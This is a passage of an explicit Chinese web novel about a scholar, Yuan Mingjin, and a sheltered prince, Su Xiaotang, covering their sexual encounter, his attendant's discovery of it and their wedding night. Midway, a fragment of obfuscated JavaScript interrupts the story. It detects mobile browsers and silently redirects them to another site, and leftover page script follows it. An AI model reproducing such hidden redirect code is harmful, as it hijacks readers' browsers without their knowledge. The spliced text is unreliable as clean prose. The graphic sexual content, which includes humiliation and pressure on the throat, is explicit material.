虽然把苏小糖剥个精光,但她自己仅仅脱了鞋袜,身上衣裙饰物无一不十分齐整。苏小糖怕她真的丢下自己不管,连忙爬起来,这次不敢再放肆,只是殷切地用脸颊贴着她小腿,自下而上,可怜巴巴地抬起眼睛看她,眼尾通红,睫毛扑闪扑闪,一副全然顺从的乖巧模样。 偏生锁笼里的东西与上头那张纯良的脸截然不同,气势汹汹,正一搏一搏地跳动,烫得元明瑾的脚底像踩了一块烙铁,又像一头蛰伏而蓄势待发的凶兽。她被烫得直皱眉,双臂环抱在胸前,正踩织机似的蹍它,脚趾却忽然触到一颗黄豆大的硬物,一低头,就见苏小糖弓起身子像虾一样瑟缩着往后躲。 “原来是守宫砂。”元明瑾不容许他躲,干脆上移,稍微使了些力的一脚压在他小腹上。苏小糖吓得浑身一僵,动也不敢动,生怕被她弄掉,一松懈,就弄脏了元明瑾的脚。 药效总算退了大半,剩下的他泡冷水也能解决。苏小糖赶紧抓过自己的衣服给她擦干净,双颊滚烫,羞得不敢抬头看她。元明瑾坐在床沿,跷起那只脚方便他动作,手肘撑在腿上,掌心托腮,状似烦恼地望着他低垂的睫毛叹气:“唉……” 这声气叹得苏小糖心头一紧,他不由自主放轻了手中动作,小心翼翼问:“弄疼你了吗?” 听、听说,皇男出嫁的时候,嫁妆里都会塞一份避火图……他到时候一定会好好学习! “你这么放荡,还未成婚就随便跟不知名姓的女子厮混,以后定没有哪家女郎愿意娶你为夫。” 苏小糖一听,一张小脸上血色瞬间褪得干干净净。他期期艾艾道:“没有随便!只有你……我知道你的名字!” 他怎么会忘记救命恩人的姓名呢? 当然只能是她……他在回身看清她脸的那一刻,就放弃了抵抗。若换成旁的女子,他就是咬了舌头也绝不会让她们得逞! 可是,她……她不记得他吗? 她连中三元,母亲又名震朝野,这么大的名气,如今整个天元想找出一个没听过她名号的人也难。元明瑾并未将这句话放在心上,只自顾自继续对他进行荡夫羞辱:“嫁不出去的皇子会有什么下场呢?唔……也许会被送去异国她乡和亲?但婚前失贞,视为淫泆。犯了七出,若你未来的妻主不知还好,但天下哪有不透风的墙,万一你放荡泛淫一事传到她耳朵眼里,也许不知的时候,尚对你留有几分情面,若是知道了,干脆也不必手下留情。九曜人生性野蛮,把男子玩坏了,就把他的头颅剖开,用他的头盖骨当酒碗,而后曝尸荒野,让鹰啄尽你尸身上的肉后,拿你笔直的腿骨当短兵,再把你身上其它骨头磨成珠子串起来挂在身上当项链戴……” 这当然是假的,天元九曜既怨结已久,自然清楚对方还不至于如此野蛮,她不过是说来吓唬吓唬苏小糖罢了。然而苏小糖自小便长在深宫之中,不曾见过外面的天地,既是从元明瑾口中说出的,便信以为真,当即吓得瑟瑟发抖,“我、我不想和亲!求求你,救救我……” 元明瑾故作为难道:“眼下你已经不干净了,我呢,又一向耳根软、心肠软。你这般可怜,我勉强也能收下你,当个养在外头的外室。你若是愿意,就在宫中乖乖等着,待我筹备妥当了,就将你接出去。” 苏小糖并不明白什么叫“外室”,整个人都懵懵懂懂的,但还是点了点头,只知道答应下来,就能和她在一起。 …… 尽管他已经竭力掩饰过了,但晚上李公公伺候他沐浴之时,鼻子耸动一二,仍觉出了有几分不对。 “殿下,老奴问您,您是不是自个儿碰过了?”李公公严肃地问。 苏小糖正嗫嚅着答不上话,李公公却忽然瞧见他胸前挂着颗水滴状的鲜红坠子,像一滴血泪,就坠在两座雪山之间的鞍部,好似落入雪地里的一瓣梅。皮肉之下不过几寸远的地方,就是怦怦跳动的心脏,正一搏一搏,泵出热烫的血。 “这是……”李公公将那颗红坠子捞在掌心,细细查看,脑后突然闪过一道灵光,“这是元修撰的眉心坠——殿下与她私相授受了?!” 自古状元得授从六品翰林院修撰。苏小糖见瞒不住,只得如实告诉他,自己被苏宜宜下药,欲令他当众出丑,还安排了人毁他清白,是元明瑾及时出现,救了他。 至于怎么救的……苏小糖低下头,露出一段天鹅般纤长的颈子,玉白肌肤泛起薄薄一层淡粉,不知是羞的还是热水熏的。 一切尽在不言中。 李公公吓得心跳突突,忙去查看锁笼,见其完好无损,并无受外力破坏过的痕迹,这才把心放回了肚子里。 他既能在皇子宫中担任总管,肯定也是人精,怎么会想不到,外女本就不能在后宫中随意走动,而元明瑾出现的时机太过凑巧,偏又没有叫人帮忙,还善心大发,亲自上阵,解了苏小糖的燃眉之急,免他爆体而亡、使皇室蒙羞—— 可她真是这么好心的人么? 李公公曾听闻,她在某个筵席上将前来大献殷勤的舞郎一脚踢飞,因而他还当她不喜男子——毕竟哪个女郎在筵席上不是左拥右抱的? 否则,见了袅袅亭亭的舞郎,即便无意周旋,也不可能下如此狠脚。 李公公正满腹疑惑,又问苏小糖,红丝锁笼并未损坏,她是如何帮他解决的? 苏小糖便十分难为情地坦诚了,李公公一听,简直快气晕过去,怒道:“殿下千金之躯,怎么能让人踩在脚下!这简直是大逆不道!老奴定要禀报圣上,治她个不敬之罪!” 说罢他就噔噔往外走,一时连苏小糖还泡在浴桶中也忘了。苏小糖赶忙拉住他,红着脸道:“瑾姐姐踩得我挺舒服的……公公不要怪罪她,她救了我一命,免皇室的脸面受辱,我们该感谢她才是啊,为什么要治她的罪呢?” “你!唉……你这小兔崽子……”李公公见他被人卖了还帮着数钱,更是气不打一处来,手指戳得苏小糖额上通红一片,“还没嫁出去呢,胳膊肘就往外拐了!” 苏小糖再笨也听出来他的口气有所软和,被戳得眼睛一眨一眨,忍不住捂着额头向后躲,说:“公公现在打了我,可就不能再去打她了。” 李公公顿时气笑了,没好气道:“定不会罚到元修撰身上的,您就放一百个心吧。” 如今皇室式微,天下已经只知元姓、不知苏姓了,真要罚,恐怕也得看元明瑾那位积威甚重的权臣母亲的脸色。 且还没有实际证据,元明瑾承不承认尚且两说;苏宜宜既干了坏事,肯定不会承认。 仅凭苏小糖一张嘴,皇帝未必会信。 ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581208|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 次日一早,赐婚的圣旨被强塞到手中时,苏小糖还是愣愣的,眼珠子转也不转,传旨太监向他贺喜,他却一个字都听不进去。 “这孩子,是高兴傻了吗?”李公公送走众人,回身看见苏小糖还是那副呆样,不由摇头叹气。 苏小糖自是大喜过望的,但又止不住担心,元明瑾说他只能做那劳什子的外室,结果现在自己竟然成了她的正夫……瑾姐姐会不会怪他逼她娶他? 他就这样怀着惴惴不安的心情,坐上花轿,拜了堂、成了亲,直到被送入元明瑾的卧房,还是紧张得大气都不敢出。 元明瑾执喜秤挑开盖头时,见到的就是一张满面愁容的小脸。 “怎么,嫁给我,不高兴?放着正夫不做,还是想当外室?” 其实元明瑾已经看出他的小心翼翼,便故意沉着脸佯装不悦。苏小糖见状,忙挤出个笑脸来,谨小慎微地讨好她,但望着她冷漠的眉眼,忍耐许久,最后还是忍不住哭了,眼泪像断了线珠子似的,扑簌簌往下掉,然而贝齿咬着下唇,努力把呜咽声憋回肚子里,生怕又惹她不快。 “怎么了?”见他哭得惨兮兮的,元明瑾也装不下去了,当即便柔声安抚起来,还轻轻在他脸上游移啄吻,将他的眼泪尽数吮舔掉。 她的唇舌并不像她的手那样粗糙,苏小糖觉得痒,便略微缩了缩脖子,向后退了一退。岂料却被元明瑾解读为抗拒,她眸色一沉,越发逼近前去,将他堵在床角,叫他无处可逃,却又一声不吭,只顾自己上下起伏,虎口还虚虚掐着他脖子,拇指指腹使了些力按着他喉结,问:“能不能不哭了,嗯?” “……哭得你瑾姐姐愈发兴奋了。” 她含着他的耳珠,用沙哑柔和的嗓音,贴在他耳边说。 温暖的气流径直吹进耳孔里——明明只是情人间的喁喁私语,命脉被她握在手里时也没见他怕,这会子反倒吓得苏小糖哭不动了,一阵接一阵地打嗝,慌忙捂住嘴,只露出一双水光潋滟的眼睛,无措地望着她。 但某处的变化实在太过明显,撑得元明瑾甚至有些作呕。她又气又无奈,遂掐了一把他的脸泄愤——手感太好,掐一下,又掐一下,最后苏小糖实在忍得难受了,可怜巴巴地亲亲她,求她动一动,元明瑾这才停了手。 云销雨霁,两人泡在浴池中沐浴。 元明瑾不喜唤人伺候,苏小糖便拿过巾帕,笨手笨脚地替她搓背,眼神十分坚定,面色十分认真,表情十分严肃,力道却放得十成十地轻,生怕再惹她生气。 搓了没一会儿,见元明瑾靠在池壁上,正有一搭没一搭地翻书,神色慵倦,大片光洁如玉的脊背肌肤露在水面上,苏小糖盯了片刻,实在没忍住,俯身亲了亲,就听元明瑾懒懒道:“这会子胆子倒是大,刚才又哭什么?我还能吃了你不成?” “你已经吃过了……”苏小糖没听出来她有生气的意思,便依言大着胆子,又亲了亲她的后颈。 ……开了荤就是不一样,快还她那个纯良的苏小糖。 元明瑾无奈道:“只是吓吓你罢了,我并非真的动怒。” 苏小糖这会儿当然看出来她色厉内柔,也敢抱着她黏黏糊糊撒娇了。他自后环住她,脸埋进她肩颈处,哼哼唧唧道:“瑾姐姐欺负人,我真的有被吓到!” 他被唬得以为自己就配当个外室,心中始终不安,总觉得自己不配,踌躇许久,最终还是问:“我、我可以当瑾姐姐的正夫吗?” 语气简直卑微到了尘埃里。 “又在胡思乱想什么?”元明瑾倦怠道,“本来我也想向陛下求娶你,只是圣旨来得更快些罢了。” 皇帝既能这么快就下旨,想必是问过她母亲的意见了。 若她不愿,整个天元也无人能强迫于她。 苏小糖正依恋地抱着她,鼻唇就贴着她颈侧肌肤,闻言简直高兴得快要不能自已,小动物似的蹭了蹭她的脖颈,“妻主真好!” 说完自己先红了脸,然后又试探似的,忍不住“妻主、妻主……”一叠声地叫,温热的气息就喷吐在她颈侧,闹得人又痒又烦。 元明瑾已然困乏得不行,便一把捂住他的嘴。苏小糖就势亲了亲她的手心,忙取来浴巾擦干二人,抱着她回到卧房,见她已经睡着,便窝在她身边,安心地闭上眼,也沉沉睡去。